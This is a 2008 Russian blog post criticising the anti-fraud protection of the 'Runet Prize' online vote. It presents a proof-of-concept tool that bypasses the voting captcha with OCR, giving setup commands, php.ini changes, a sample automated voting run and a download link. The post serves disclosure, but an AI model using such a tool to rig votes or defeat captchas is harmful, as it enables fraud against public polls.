Oct. 25th, 2008 | 06:35 pm
Встречаются как-то два профессора психологии.
- как дела? порядок?
- да, все ок.
- а я ферари красную приобрел.
- коллега, ну мы же с вами профессионалы! давайте просто растегнем ширинки и померяемся.
После того как блоги прировняли к средствам массовой информации, а премии в Интеренете стали более популярны, чем всякие "Тефи", наступил период инверсии ресурсной адекватности. Ну, да, люблю я придумывать страшные термины, но суть не в этом. Ситуация, впрочем, понятна и прозрачна. С одной стороны, подобные голосования не требуют ничего кроме наличия компьютера и доступа к интернет у пользователя, в отличие от смс голосований и прочей ерунды. С другой стороны, популярность ресурса увеличивает его прибыльность. Таковы условности информационного поля

нашей с вами современности.
На да ладно.
Собственно, к чему это я? Не так давно стартовала ежегодная "Премия рунета". Достаточно мощные ресурсы стоят в списках лидеров. Очередной способ поиграть в мужскую игру на измерение первичных половых признаков? Но так ли все уж честно там происходит? Казалось бы, голосование достаточно масштабно, и следовало бы побеспокоиться о безопасности, по крайней мере, обеспечить надежную (насколько возможно) защиту от накруток, а не просто писать в правилах:
Запрещается:
Любая форма накрутки** голосов со стороны проекта-участника Народного голосования.
** Под «накруткой» подразумевается обход регламентированных ограничений по количеству голосов интернет-пользователя.
Что следует из этого паралогичного правила? Если кто-то знает как накручивать голоса, то:
а) он может накрутить себе. Если его спалят (как?), тогда он может вылететь, а может просто дальше продолжить участие, если "накрутка" будет приостановлена.
б) если процесс накрутки можно проследить, то ведь стоит накручивать без перерыва конкурентов, и по логике их должны исключить из голосования.
Так не проще ли было бы просто обеспечивать достаточный уровень защищенности самого процесса?
Ах, да. Я же только говорю, спрашиваю, а не привел доказательств того, что процесс голосования не защищен...
Ну что же, ловите под катом Proof of concept программу, демонстрирующую возможность автоматического добавления голосов любому участнику.
P.S. исследования процесса голосования проводились в прошлом году, но, насколько можно судить по внешним признакам, апдейт системы не производился

за исключением мелких деталей. Так что, кто хотел провести накрутку , мог успешноо это сделать без особых трудностей.
Итак, что нам нужно?
1. комплект файлов:
bmp.php - инклуд файл для работы с bmp (код взят с http://php.net/function.imagecreate)
c-decode - captcha decoder
vote.php - основной скрипт - голосовалка
создаем в ней папки uploads/ out/ - временные для hack captcha
2.требования:
php5 + GD
в php.ini меняем параметры:
register_argc_argv = On
;disable_functions
display_errors = On
3. распознавание картинок:
ставим ocr систему
cd /usr/local/src/
wget http://mesh.dl.sourceforge.net/sourceforge/jocr/gocr-0.44.tar.gz
tar -zxvf gocr-0.44.tar.gz
./configure --prefix=/usr && make && make install
4. голосование в автоматическом режиме:
php vote.php 333333333333
***************************[*] narod Vote POC tool[*]
* RST/GHC (c) 2007 *
***************************
[+] using user-agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.3 (KHTML, like Gecko) Safari/419.3
[+] using session: 9d41c597a37288b07e29c87de0f22908
[+] using captcha code: GB1LDnrxZbue and captcha result: 651
[+] with data: action=vote&code=9d41c597a37288b07e29c87de0f22908& participant%5B%5D=333333333333&answer=651&agree=on &submit=%CF%F0%EE%E3%EE%EB%EE%F1%EE%E2%E0%F2%FC !
HTTP/1.1 200 OK
Date: Wed, 20 Nov 2007 22:34:26 GMT
Server: Apache/1.3.27 (Unix) rus/PL30.16
Set-Cookie: narod=127.0.0.1; expires=Thu, 21 Nov 2007 22:34:28 GMT
Connection: close
Content-Type: text/html; charset=x-mac-cyrillic
Спасибо!Ваш голос учтен.
Скачать: http://www.onlinedisk.ru/file/25536/
Первоисточник: http://rstghc.livejournal.com/25933.html
upd: Единственное, код был написан год назад и с тех пор поменялся путь к captch'е, а id передается немного другим способом. Исправленную версию протестировали — все работает, но выкладывать не стали — кто разбирается без труда "починит", к тому же, данный сплоит предоставлен исключительно в ознакомительных целях.